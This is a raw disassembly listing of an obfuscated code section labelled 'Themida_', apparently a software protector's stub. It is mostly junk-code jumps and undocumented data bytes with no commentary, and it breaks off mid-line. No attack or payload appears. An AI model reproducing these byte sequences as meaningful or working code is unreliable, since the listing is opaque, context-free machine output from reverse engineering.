mov ebx, 4 sub esi, ebx jmp loc_55DC75 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 0B0505224h, 0F6C8FE44h, 0E93404D0h, 4DCBh ; --------------------------------------------------------------------------- loc_557F74: ; CODE XREF: Themida_:00559D2Ej pop esp mov [esp], ebp push ebx sub dword ptr [esp], 53106C7h jmp loc_5535EB ; --------------------------------------------------------------------------- loc_557F85: ; CODE XREF: Themida_:0055DBEEj pop esp jmp loc_55C9D5 ; --------------------------------------------------------------------------- loc_557F8B: ; CODE XREF: Themida_:0055EFECj add al, dh jmp loc_55F356 ; --------------------------------------------------------------------------- loc_557F92: ; CODE XREF: Themida_:00555F7Fj mov ch, ah jmp loc_55872F ; --------------------------------------------------------------------------- aVtsz_ db 'VTéZ_',0 align 10h loc_557FA0: ; CODE XREF: Themida_:00559678j add esi, 4 xchg esi, [esp] pop esp jmp loc_555B79 ; --------------------------------------------------------------------------- byte_557FAF db 0FFh ; DATA XREF: Themida_:00553478o dd 669D1C77h, 241CD359h, 0B561E99Ch, 0C281FFFFh, 49E67266h dd 0BAFEA81h, 5EE91533h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_557FCF: ; CODE XREF: Themida_:00558984j push esi push eax jmp loc_559E75 ; --------------------------------------------------------------------------- loc_557FD6: ; CODE XREF: Themida_:00556416j add ebx, 4 xchg ebx, [esp] pop esp push 4740h mov [esp], ebx jmp loc_55CEDE ; --------------------------------------------------------------------------- loc_557FED: ; CODE XREF: Themida_:005575F4j pop edx push dword ptr [esp] pop eax jmp loc_5593F5 ; --------------------------------------------------------------------------- db 83h dd 0FB2904C4h, 1436E9h, 5BD90100h, 0C8BC831h, 0B90EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55800E: ; CODE XREF: Themida_:005537E3j pop eax push 17ABh mov [esp], esi jmp loc_55F31F ; --------------------------------------------------------------------------- dd 24048B66h, 645E9h, 0A3E95C00h, 500002Ah, 4, 5C240487h dd 0E9E28952h, 0FFFFFB1Fh, 5158CD81h, 814D1CF7h, 0BC56AEF5h dd 75ED813Bh, 213CC1BFh, 43E95DEFh, 8900001Ah, 0BF5755E0h dd 6CD174CAh, 49AFE9h, 0E7895700h, 90F68h, 24048900h, 0B3685253h dd 5A32EA73h, 17FDE9h, 0DEF65B00h, 0C2E95366h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_558087: ; CODE XREF: Themida_:0055F774j sub ebp, ecx mov ecx, [esp] jmp loc_55BE52 ; --------------------------------------------------------------------------- loc_558091: ; CODE XREF: Themida_:0055AA12j push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], edx mov edx, 4 add esi, edx pop edx jmp loc_55EA45 ; --------------------------------------------------------------------------- db 0BBh dd 4, 63B0EE81h, 0DE012581h, 0FFCC36E9h db 0FFh ; --------------------------------------------------------------------------- loc_5580BD: ; CODE XREF: Themida_:00556022j bswap eax push 31B6h mov [esp], eax jmp loc_55351F ; --------------------------------------------------------------------------- dd 0E95AF788h, 3258h, 5346BE56h, 0CE810E08h, 662B0F8Fh dd 0E903E6C1h, 2CF0h dword_5580E8 dd 582434FFh, 4EC8152h, 89000000h, 4832424h, 685A0424h ; DATA XREF: Themida_:00553324o dd 548Dh, 4CA7E9h, 0FDF58000h, 0E8284C04h, 0FFE05DE9h dd 0C4E959FFh, 0B1000051h, 66CE28A6h, 5AF52059h, 2888ED80h dd 240C8BE8h, 6A8E9h, 81FA0100h, 330BAFC2h, 0FDBB5315h dd 43385523h, 0E3C1DBF7h, 5FADE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558146: ; CODE XREF: Themida_:0055B2B7j and edi, 28690070h shl edi, 7 shr edi, 6 xchg ebp, edi not ebp xor edi, ebp xor ebp, edi xor edi, ebp push edx jmp loc_55FA86 ; --------------------------------------------------------------------------- dw 5266h dd 0FFB97CE9h, 242C31FFh, 8B242C33h, 0A8E92424h, 0BEFFFFB3h dd 161625F9h, 5354E9h, 61F78100h, 4F5BBA34h, 0B3E2EF81h dd 0F829384Ch, 36BD555Fh, 45428D2Bh, 0CBFC581h, 0DDF713E8h dd 1928C581h, 0C5813C8Dh, 1AAC4A95h, 2E12C581h, 0E801022Dh dd 52D8015Dh, 1243BF57h, 0B0E905CBh, 1FFFFF6h, 24348BF5h dd 28C1E9h, 50C32900h, 4428E9h, 72F18100h, 817DEA29h, 0AA21DDE9h dd 59CA09AFh, 0FFEA8142h, 81FFFFFFh, 0E4567FEAh, 0D5BF577Bh dd 81311737h, 6FD8F8F7h, 0E9FA011Ah, 8F0h ; --------------------------------------------------------------------------- loc_558204: ; CODE XREF: Themida_:0055539Dj push ebx mov eax, [esp] add esp, 4 mov edx, eax pop eax jmp loc_55D69B ; --------------------------------------------------------------------------- loc_558213: ; CODE XREF: Themida_:00555FD6j sub eax, 45C56F68h jmp loc_55DFEA ; --------------------------------------------------------------------------- db 1, 0D3h, 5Ah dd 2CE8EB81h, 0C3015723h, 2CE8C381h, 51575723h, 0F08E9h dd 2B900h, 0ED810000h, 7DB82F96h, 2DA4C581h, 0CD011BA6h dd 2DA4ED81h, 0C1E91BA6h, 5700002Fh, 42474FFh, 5AFCE9h dd 0E9D18900h, 6B50h ; --------------------------------------------------------------------------- loc_558264: ; CODE XREF: Themida_:005590D8j mov al, 0F4h not al and al, 66h xor al, 6Ch jmp loc_55EFE6 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 645568h, 241C8900h, 186683BBh, 7FEB8169h, 1691866h dd 4875BD8h, 24248B24h, 0FF2434FFh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 5325h mov [esp], ecx mov ecx, 4AD130D2h or ecx, 784C19FDh neg ecx jmp loc_55B642 ; --------------------------------------------------------------------------- dd 8CE9D389h, 8100000Ch, 4C1h, 4E98300h, 5C240C87h, 53242489h dd 43D0E9h, 0E9F32900h, 0FFFFFDF8h byte_5582DC db 8Bh, 4, 24h ; DATA XREF: Themida_:00553330o ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5592BC ; --------------------------------------------------------------------------- loc_5582F6: ; CODE XREF: Themida_:0055F0A7j mov [edx+30h], ecx pop ecx popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 1Dh, 0B2h dd 0D801FFFFh, 7FE91088h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55830B: ; CODE XREF: Themida_:0055E9E8j mov ecx, esp push esi jmp loc_5561CD ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4ECh, 241C8900h, 2BBh, 0E99E900h dd 815E0000h, 0BB5A12CDh, 4C1BE959h db 2 dup(0) word_55833A dw 77FFh ; DATA XREF: Themida_:00553364o dd 4105E92Ch, 0B8500000h, 4426165h, 6470C781h, 0C7292A03h dd 6470EF81h, 81582A03h, 680AC2EFh, 0B3EF8102h, 8B177252h dd 0C481240Ch, 4, 5702C783h, 42474FFh, 0DB2E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55837A: ; CODE XREF: Themida_:0055E92Cj pop eax push ecx mov ecx, esp add ecx, 4 push ebx push ebp mov ebp, 22C06EB4h jmp loc_559CC7 ; --------------------------------------------------------------------------- dd 4C181h, 0C1830000h, 240C8704h, 24148B5Ch, 0E904C483h dd 0FFFFB177h, 242C8157h, 6CA97ED6h, 0D6C18159h, 5F6CA97Eh dd 34FFC801h, 89525924h, 4C281E2h, 0E9000000h, 0EAAh, 0E9240C8Bh dd 0FFFFDE63h ; --------------------------------------------------------------------------- loc_5583D4: ; CODE XREF: Themida_:00559BCDj or edx, ecx pop ecx inc edx inc edx xor edx, 16FF1FDFh sub eax, edx pop edx add eax, ebp push ebx mov ebx, 0A8D0B99h xor ebx, 23C465A7h shl ebx, 3 shr ebx, 4 xor ebx, 70951E79h add ebx, 0F7927748h add eax, ebx pop ebx pop ebp sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_55351F ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h aSrl db '$éRL',0 align 2 aH0 db 'hÖ0',0 dw 8900h dd 0E389241Ch, 4C381h, 6CE90000h, 66FFFFC2h, 0EF816659h dd 166A035h, 1665FFBh, 665266C3h, 665906BAh, 527AF281h dd 29D9E9h db 0 ; --------------------------------------------------------------------------- loc_558459: ; CODE XREF: Themida_:00559741j sub ecx, 0FDCD7C7Ch add edx, ecx pop ecx jmp loc_55F8AE ; --------------------------------------------------------------------------- loc_558467: ; CODE XREF: Themida_:0055ABD0j pop ecx jmp loc_55E4CA ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 4 dd 0F706EAC1h, 0FCC281D2h, 8165EA2Ch, 0C3310AF2h, 5AD60165h dd 5AE3E951h, 0BE560000h, 58B31E98h, 0C108EEC1h, 0CAE902EEh dd 8F00002Ah, 4812404h, 424h, 24148B00h, 8104C483h, 4C2h dd 4EC8100h, 0E9000000h, 5CDCh, 302AF580h, 2434FFE8h, 0E9240C8Bh dd 0FFFFE730h, 18E9DD88h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5584D3: ; CODE XREF: Themida_:005567D8j pop edx pop ebp jmp loc_55D099 ; --------------------------------------------------------------------------- dw 0D800h dd 0E536866h, 0FFC05BE9h, 0B2B951FFh, 1422E3Dh, 0EA2959CAh dd 3DB2EA81h, 2C8B422Eh, 1703E924h, 762C0000h, 7604F028h dd 0EC815A66h, 4, 0B3241C89h, 0F6C3866Ch, 0E9C386D0h, 0FFFFEDAAh dd 4E85E95Bh, 4000000h, 0F4E99C24h, 83FFFFAFh, 7BE904C7h dd 29FFFFDFh, 0E2C8E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55853A: ; CODE XREF: Themida_:0055C986j push ecx mov cl, 5Eh mov dh, cl push dword ptr [esp] pop ecx add esp, 4 not dh sub esp, 2 mov [esp], bx push eax mov ah, dh mov bh, ah mov eax, [esp] add esp, 4 not bh mov dh, bh pop bx xor dh, 76h not dh push eax jmp loc_554F0B ; --------------------------------------------------------------------------- db 80h, 0EBh, 0E4h dd 0E902B551h, 0FFFFDD57h, 8904EC83h, 8B54241Ch db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55C5EF ; --------------------------------------------------------------------------- dw 2C89h dd 2C8B5424h, 4C48324h, 4C581h, 0C5810000h, 4, 2474FF55h dd 48F5D04h, 24248B24h, 1605E9h, 76E18100h, 0E97D5C7Eh dd 0FFFFB575h, 4C481h, 0AB680000h, 8900002Bh, 0DBE9240Ch db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5585D3: ; CODE XREF: Themida_:0055BDF4j add ebp, ecx pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 jmp loc_55C98B ; --------------------------------------------------------------------------- loc_5585EE: ; CODE XREF: Themida_:00556D53j xor al, bl pop ebx sub bl, al pop ax push eax mov al, 0ADh dec al neg al or al, 0D4h sub al, 0A9h sub bl, al pop eax sub bl, al add bl, 2Bh jmp loc_5554C3 ; --------------------------------------------------------------------------- loc_55860D: ; CODE XREF: Themida_:0055A7E9j pop eax xor ecx, esi pop esi not ecx add ecx, 0E01042B3h jmp loc_55ED33 ; --------------------------------------------------------------------------- dw 2C89h dd 330DBD24h, 0B95121F9h, 36E310D6h, 0E908E9C1h, 4C62h ; --------------------------------------------------------------------------- loc_558634: ; CODE XREF: Themida_:0055E48Aj mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi jmp loc_55A5AD ; --------------------------------------------------------------------------- db 0B7h, 14h, 0 dd 1C8B66FEh, 2C48324h, 0E95AF100h, 0D19h ; --------------------------------------------------------------------------- loc_55865C: ; CODE XREF: Themida_:00559814j mov esi, [esp] jmp loc_559BF3 ; --------------------------------------------------------------------------- dd 0FE31E954h, 8951FFFFh, 559F68E1h, 1DE90000h db 45h, 2 dup(0) aFhuefiSN db 'fhžEf‰$$é)n',0 ; DATA XREF: Themida_:00553350o align 4 dword_558684 dd 207F83ADh, 89840F00h, 81FFFFE0h, 573859EEh, 72EE8145h ; DATA XREF: Themida_:00553470o dd 13D5C63h, 3518E9C6h, 0B8500000h, 579A7B68h, 48BC289h dd 4C48124h, 4A000000h, 81D2F742h, 7726A4EAh, 0DDA6E966h dd 0C329FFFFh, 1EFCC381h, 0EB81735Bh, 115F2119h, 68E18951h dd 6D9Eh, 467BE9h, 0E2B35300h, 0D7E935B0h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5586E7: ; CODE XREF: Themida_:0055DC59j mov ebx, [esp] add esp, 4 sub ebp, 4EB963E7h add ebp, esi add ebp, 4EB963E7h mov esi, [esp] add esp, 4 push edi jmp loc_55AE80 ; --------------------------------------------------------------------------- aWsfe db '[WéäE',0 db 0 ; --------------------------------------------------------------------------- loc_558711: ; CODE XREF: Themida_:0055CFBCj pop eax xchg esi, [esp] pop esp mov [esp], eax xor [esp], edx jmp loc_5569BC ; --------------------------------------------------------------------------- aIYbimcz1sng db '‰ËYëmcZ1ég',0 db 0 ; --------------------------------------------------------------------------- loc_55872F: ; CODE XREF: Themida_:00557F94j pop eax mov [edi+eax*4], ch mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_55790E ; --------------------------------------------------------------------------- loc_558741: ; CODE XREF: Themida_:00555F36j xchg esi, [esp] jmp loc_55F26B ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 2414895Ch, 37A1E951h, 0BD550000h, 2B2D1C06h, 0E95DEE01h dd 199Ah, 93D0F793h, 6C16E9h db 0 ; --------------------------------------------------------------------------- loc_55876D: ; CODE XREF: Themida_:0055B453j add ecx, 4 xchg ecx, [esp] jmp loc_55BBD5 ; --------------------------------------------------------------------------- dd 24048B66h, 81E28952h, 4C2h, 2C28300h, 5C241487h, 6E5FE9h db 0 ; --------------------------------------------------------------------------- loc_558791: ; CODE XREF: Themida_:00555532j mov ebp, 5138045Fh mov ebx, 0ADD63B47h jmp loc_55397D ; --------------------------------------------------------------------------- dd 0C170EB81h, 0DD015DDDh, 5FFCE9h, 2414F700h, 74BD555Bh dd 0F737AA34h, 81DDF7DDh, 0FC7827CDh, 0BC58166h, 0E9B740D7h dd 3940h, 59C80158h, 0FFF32EE9h, 4C483FFh, 0D8281804h dd 0FFF981E9h, 5DE801FFh, 5C240487h, 0E9028864h, 0FFFFF71Dh ; --------------------------------------------------------------------------- loc_5587F0: ; CODE XREF: Themida_:0055F231j sub esi, 4 xchg esi, [esp] pop esp jmp loc_55A47E ; --------------------------------------------------------------------------- dd 0E95BDF01h, 0FFFFE4FFh ; --------------------------------------------------------------------------- loc_558804: ; CODE XREF: Themida_:005554C6j shr al, 4 jmp loc_55CF92 ; --------------------------------------------------------------------------- dd 9838EE81h, 0F309B477h, 0F7D3F75Eh, 81D3F7D3h, 880FFECBh dd 46D5E958h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5557A1 ; --------------------------------------------------------------------------- loc_55883A: ; CODE XREF: Themida_:0055B442j add esp, 4 push edx dec dword ptr [esp] pop edx jmp loc_55F58E ; --------------------------------------------------------------------------- db 1 dd 0FF535DEBh, 5B042474h, 5C24048Fh, 24048B66h, 1AC868h dd 24348900h, 53515E54h, 164E09BBh, 0DB8504Ch, 894C164Eh dd 0F3E9C1h, 89500000h, 405E0h, 0E9510000h, 6FF7h ; --------------------------------------------------------------------------- loc_558884: ; CODE XREF: Themida_:00556346j pop esi jmp loc_55B191 ; --------------------------------------------------------------------------- loc_55888A: ; CODE XREF: Themida_:0055E710j add edx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 387F2671h jmp loc_558A6F ; --------------------------------------------------------------------------- byte_55889D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00553360o dd 4EC8324h, 54243489h, 8124348Bh, 4C4h, 0D7B85000h, 2D21F019h dd 21F019D3h, 5358C601h, 0DF2D37BBh, 0CABF5773h, 8106392Bh dd 9E503AF7h, 0F7814F0Eh, 20AF1456h, 0D3DC781h, 8CE94988h dd 66000065h, 6621B5B8h, 0CEA8E950h, 6850FFFFh, 14904665h dd 373EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5588FA: ; CODE XREF: Themida_:0055B4F0j mov [esp], ecx push 29EE0926h pop ecx xor ecx, 5C540DD0h mov edx, ecx jmp loc_55A454 ; --------------------------------------------------------------------------- dd 533CEA80h, 0DD88D388h, 24148B5Bh, 0E904C483h, 3EF6h dd 2BA52h, 0C6810000h, 6D9363CFh, 0B951D601h, 2BB2100Ch dd 4296C981h, 0A2E93BCAh, 68000062h, 5C7Ah, 0E9243C89h dd 0FFFFF9C3h, 0E9CECA80h, 631Dh, 55D8E959h, 0BD550000h dd 4, 0FFB003E9h, 0A5E958FFh, 68000071h, 5396h, 0BE243489h dd 40DB5B55h, 0FFDC7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_558981: ; CODE XREF: Themida_:0055BDECj add ebp, edx pop edx jmp loc_557FCF ; --------------------------------------------------------------------------- byte_558989 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005533BCo dd 27F7E9h db 0 ; --------------------------------------------------------------------------- loc_558991: ; CODE XREF: Themida_:0055CF94j and al, 91h add al, 0BCh or al, 0D1h xor al, 87h jmp loc_55964B ; --------------------------------------------------------------------------- loc_55899E: ; CODE XREF: Themida_:005555B6j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 1 push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx push esp jmp loc_55BC60 ; --------------------------------------------------------------------------- byte_5589C1 db 0ADh, 81h, 0C6h ; DATA XREF: Themida_:00553454o dd 70DA160Ch, 0A1DC681h, 0C6014806h, 0A1DEE81h, 0EC834806h dd 0DBB1E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5589DE: ; CODE XREF: Themida_:005592C9j mov [esp], esp jmp loc_553E89 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 93240481h, 554C9508h, 5E3C9ABDh, 246C017Eh dd 242C8B04h, 5E08950h, 4, 63C5E9h, 58CBA00h, 25E96E2Ah dd 68000024h, 32C4h, 0E9243489h, 0FFFFF3E9h, 8104C483h dd 0C84E7FF6h, 5EF031ECh, 0EA81C331h, 25125115h, 0E6E9C229h dd 100003Ah, 0B752E9DFh, 0BA52FFFFh, 4, 815AD701h, 4ECh dd 241C8900h, 0FFE837E9h, 243487FFh, 2404895Ch, 8B2434FFh dd 0C6E9241Ch db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A6F: ; CODE XREF: Themida_:00558898j dec ebx add ebx, 3A8ADA08h jmp loc_55BDDD ; --------------------------------------------------------------------------- db 68h dd 37E7h, 0BE243489h, 3F3A4300h, 8904EC83h, 66BA2414h dd 81375427h, 0C67DE1E2h, 0C281424Bh, 6DE10057h, 72E9D389h dd 0BAFFFFD2h, 0BFFFFB7Ah, 0FFD994E9h, 36AABBFFh, 0C14B0EE8h dd 0C38104EBh, 18732FB4h, 2D38F381h, 0EB81186Eh, 72F30652h dd 7739EB81h, 0DA291DD5h, 3EAC15Bh, 4FCFF281h, 0EC817BC6h dd 4, 0B9240C89h, 29B77856h, 0E959CA31h, 0FFFFDB78h, 5AD3315Fh dd 6CEBEA81h, 0DA011AE9h, 6CEBC281h, 0E95B1AE9h, 0FFFFAA13h dd 8058C530h, 0EF20EEF5h, 592DE9h, 0E9814900h, 65924DBEh dd 60CEB850h, 0C13144ACh, 97C18158h, 1A159A8h, 1CE959CDh dd 5D00005Bh, 46C5815Ah, 4D1F7942h, 6369E9h, 0D4EF8100h dd 817D7052h, 0D62CFAEFh, 8BF80123h, 0C481243Ch, 4, 20EEE9h db 0 ; --------------------------------------------------------------------------- loc_558B61: ; CODE XREF: Themida_:0055C678j xor ecx, edi jmp loc_5556EF ; --------------------------------------------------------------------------- dword_558B68 dd 0E924248Bh, 0FFFFA9AFh, 0AAF18159h, 4156F442h, 27DAC181h ; DATA XREF: Themida_:005533E8o dd 0CF891519h, 0E9F90159h, 829h, 4C481h, 0E9590000h, 0FFFFD747h dd 83665366h, 66FF242Ch, 29ABE95Bh, 0EC810000h, 4, 0BB241C89h dd 0C57F45B7h, 0FFF44CE9h db 0FFh byte_558BB5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00553440o aWhA db '$Wh/A',0 dw 8900h dd 0BD552424h, 4, 4246C01h, 1059E9h db 0 byte_558BD1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005532BCo dd 4EC8124h, 89000000h, 0E2892414h, 0FFC909E9h db 0FFh ; --------------------------------------------------------------------------- loc_558BE5: ; CODE XREF: Themida_:00555DCBj push esi jmp loc_5558CD ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 59E80004h, 510CB050h, 0DDF669B5h, 801FED80h dd 0E953D1C5h, 1900h, 0FFA912E9h, 2753B8FFh, 2A255F67h dd 550E209h, 0D74B78AFh, 0D6E9D8F7h, 8100002Eh, 4C3h, 46416800h dd 0F9E90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558C33: ; CODE XREF: Themida_:0055EA72j or eax, eax jz loc_55408F push 602Dh mov [esp], ebx jmp loc_55C723 ; --------------------------------------------------------------------------- dd 1EBAE95Ah, 0EBF0000h, 4F1A9313h, 3751EF81h, 0AE961D3h dd 5C000042h, 4C681h, 0F6680000h, 89000014h, 38E9241Ch dd 89FFFFF4h, 0DE8BE9E6h, 8166FFFFh, 5E3699C7h, 66F83166h dd 0E9243C8Bh, 4237h dword_558C8C dd 582434FFh, 0FFAE3AE9h ; DATA XREF: Themida_:0055330Co db 0FFh ; --------------------------------------------------------------------------- loc_558C95: ; CODE XREF: Themida_:0055638Bj mov edx, 5739086Dh not edx add edx, 3A7E0502h shr edx, 8 sub edx, 0A3073DE0h sub esi, edx pop edx pop edi jmp loc_55C274 ; --------------------------------------------------------------------------- dd 8104C483h, 4C0EF3F6h, 7CCE8120h, 0E9253473h, 641h ; --------------------------------------------------------------------------- loc_558CC8: ; CODE XREF: Themida_:0055E03Bj push edi push esi mov esi, 66D65E03h push 4D107FD1h pop edi jmp loc_5598F1 ; --------------------------------------------------------------------------- loc_558CDA: ; CODE XREF: Themida_:005595DAj sub ebx, 4 jmp loc_55D053 ; --------------------------------------------------------------------------- loc_558CE5: ; CODE XREF: Themida_:00557C65j mov [esp], eax push 7DD7510h pop eax shr eax, 5 and eax, 64E51EEEh dec eax sub eax, 0D87BB46Bh mov edx, eax jmp loc_557EAA ; --------------------------------------------------------------------------- db 81h dd 5B15ECEAh, 8AEA8162h, 1523A14h, 8AC281C2h, 53523A14h dd 950C04BBh, 0BE5626h, 0E9000000h, 0FFFFD18Ch, 55C8B60Fh dd 0C5815D54h, 4, 0FFDA21E9h db 0FFh ; --------------------------------------------------------------------------- loc_558D39: ; CODE XREF: Themida_:00553B5Cj xor eax, ebx xor ebx, eax jmp loc_557C02 ; --------------------------------------------------------------------------- aNJsy7 db '¾N',27h,'ÙjéY7',0 align 4 dword_558D4C dd 240C8B66h, 0B0CAE956h ; DATA XREF: Themida_:005532CCo db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D56: ; CODE XREF: Themida_:0055E9DFj pop esi sub eax, edx pop edx jmp loc_55BD7C ; --------------------------------------------------------------------------- aWsW db ')ÈWéÖW',0 db 0 ; --------------------------------------------------------------------------- loc_558D67: ; CODE XREF: Themida_:0055C0C0j mov ebp, eax pop eax dec ebp dec ebp jmp loc_55C219 ; --------------------------------------------------------------------------- db 81h, 0EEh, 15h dd 52515822h, 0AC7DD3BAh, 5AD60151h, 0C103E6C1h, 0DEF707E6h dd 0EE81D6F7h, 7767F3FBh, 0FFF42EE9h db 0FFh ; --------------------------------------------------------------------------- loc_558D95: ; CODE XREF: Themida_:00557C31j push ebx mov bh, 9Dh sub bh, 0E4h sub ah, bh pop ebx mov ch, ah pop eax jmp loc_553FCE ; --------------------------------------------------------------------------- dw 0C281h dd 4B377430h, 0B850DA01h, 4B377430h, 1E8CC281h, 0C2295F07h dd 0FFD6C9E9h, 38E180FFh, 0E915B450h, 2825h, 8042B050h dd 0C7002CC7h, 0FFE15DE9h db 0FFh ; --------------------------------------------------------------------------- loc_558DD9: ; CODE XREF: Themida_:005544B5j dec ebp xchg eax, ebp not eax push ebp push eax jmp loc_554355 ; --------------------------------------------------------------------------- dd 0E9535954h, 0FFFFC45Bh, 240C8966h, 0FFA72AE9h, 0E9F989FFh dd 0FFFFEBF9h ; --------------------------------------------------------------------------- loc_558DFC: ; CODE XREF: Themida_:00553BF2j push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 push edx jmp loc_55E118 ; --------------------------------------------------------------------------- dword_558E18 dd 0E932FFh ; DATA XREF: Themida_:00553348o db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558E1F: ; CODE XREF: Themida_:00559D79j pop ebp push edx push dword ptr [esp+4] jmp loc_55FB6A ; --------------------------------------------------------------------------- dw 0EB81h dd 4, 5C241C87h, 89240C89h, 0DB50E9E1h, 1C33FFFFh, 4F3FE924h dd 81660000h, 666AE0E1h, 0D79CE981h, 0E9C80166h, 0FFFFB3B8h ; --------------------------------------------------------------------------- loc_558E58: ; CODE XREF: Themida_:0055A487j shr eax, 6 push edi mov edi, 1C150156h inc edi inc edi jmp loc_55B907 ; --------------------------------------------------------------------------- dd 26F968h, 241C8900h, 0C381E389h, 4, 4EB81h, 1C870000h dd 1EE95C24h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E87: ; CODE XREF: Themida_:005575A7j sub edi, 243AF876h add ecx, 14EB4E92h add ecx, 551A4F5Eh add ecx, edi jmp loc_557B35 ; --------------------------------------------------------------------------- a1Yhc5 db '1ÈYhæ5',0 align 4 dd 89241C89h, 458EE9E3h, 1C330000h, 241C3124h, 8B241C33h dd 4292424h, 58E99C24h, 56FFFFA6h, 4BEh, 0E9F02900h, 0FFFFD213h dd 0E9F5305Ah, 0FFFFC5EFh dword_558EDC dd 240C8B66h, 0FFF697E9h ; DATA XREF: Themida_:005533F8o db 0FFh ; --------------------------------------------------------------------------- loc_558EE5: ; CODE XREF: Themida_:005567E9j pop esp jmp loc_55678C ; --------------------------------------------------------------------------- loc_558EEB: ; CODE XREF: Themida_:00556409j mov [esp], ebp push 5335h mov [esp], esp add dword ptr [esp], 4 jmp loc_559246 ; --------------------------------------------------------------------------- dw 0C828h dd 83240C8Bh, 0B2C04C4h, 83B0B353h, 896602ECh, 51662404h dd 0CC88EAB1h, 0E3305966h, 75E95866h, 5C000021h, 24042966h dd 0A5EDE99Ch, 74FFFFFFh, 34FF0424h, 0C4835924h, 24048F04h dd 0CD3665Ch, 0D4E99C24h, 5AFFFFA5h, 1170B951h, 0F18127C6h dd 6227B08h, 0E959CB01h, 0FFFFCDBFh, 68CDE95Fh, 0C1810000h dd 4, 0E904E983h, 0FFFFAB0Bh ; --------------------------------------------------------------------------- loc_558F74: ; CODE XREF: Themida_:005577DAj and ebp, esi mov esi, [esp] add esp, 4 jmp loc_556BC7 ; --------------------------------------------------------------------------- loc_558F81: ; CODE XREF: Themida_:00553AAFj mov edx, esp jmp loc_55B1E9 ; --------------------------------------------------------------------------- dword_558F88 dd 56685055h, 8B598820h, 0C4832404h, 68505104h, 6FA66BEFh ; DATA XREF: Themida_:005532A0o dd 9FB85058h, 50173969h, 6C7CE9h db 0 ; --------------------------------------------------------------------------- loc_558FA9: ; CODE XREF: Themida_:0055DCCEj pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_559A39 ; --------------------------------------------------------------------------- loc_558FBC: ; CODE XREF: Themida_:005566FBj shl edx, 1 push edx push 318Fh mov [esp], ecx push 3E25h jmp loc_554706 ; --------------------------------------------------------------------------- byte_558FD1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00553244o dd 0FF545624h, 0E95E2434h, 6067h ; --------------------------------------------------------------------------- loc_558FE0: ; CODE XREF: Themida_:00556BF7j xchg ebp, [esp] pop esp or eax, eax jz loc_55ECA4 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_554D29 ; --------------------------------------------------------------------------- db 81h dd 0FF7DFAEDh, 5DE9012Bh, 4E981h, 0FF510000h, 8B042474h dd 0C481240Ch, 4, 5C24048Fh, 51241C89h, 0E9B1B353h, 0FFFFE407h dd 0BF575157h, 1A576F78h, 0E781DFF7h, 426F5097h, 7C1CC781h dd 0D7F76A0Fh, 4D61E9h, 4C48300h, 8B24048Fh, 24D32424h dd 0B5E99C24h, 31FFFFFBh, 3C33243Ch, 0F665C24h, 9C2404BBh dd 0FFA4BAE9h db 0FFh byte_559065 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005532E0o dd 0EC835224h, 48F5404h, 24048124h, 4, 5024148Bh, 405E089h dd 83000000h, 48704C0h, 3BCAE924h, 0C05A0000h, 97E906E5h dd 81000009h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 4812424h dd 424h, 31E95900h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5590B7: ; CODE XREF: Themida_:00553528j mov ch, 0BFh push 7252h mov [esp], ebx push edx mov dh, 62h mov bh, dh pop edx xor ch, bh pop ebx push eax mov al, 0FDh push edx mov dh, 0F9h push 585Ah mov [esp], eax jmp loc_558264 ; --------------------------------------------------------------------------- aYzsw db 'YZéW',0Dh,0 align 4 dd 489BEE81h, 0C6816FE9h, 5E5C0FA2h, 0E95EF089h, 0FFFFF20Ah dd 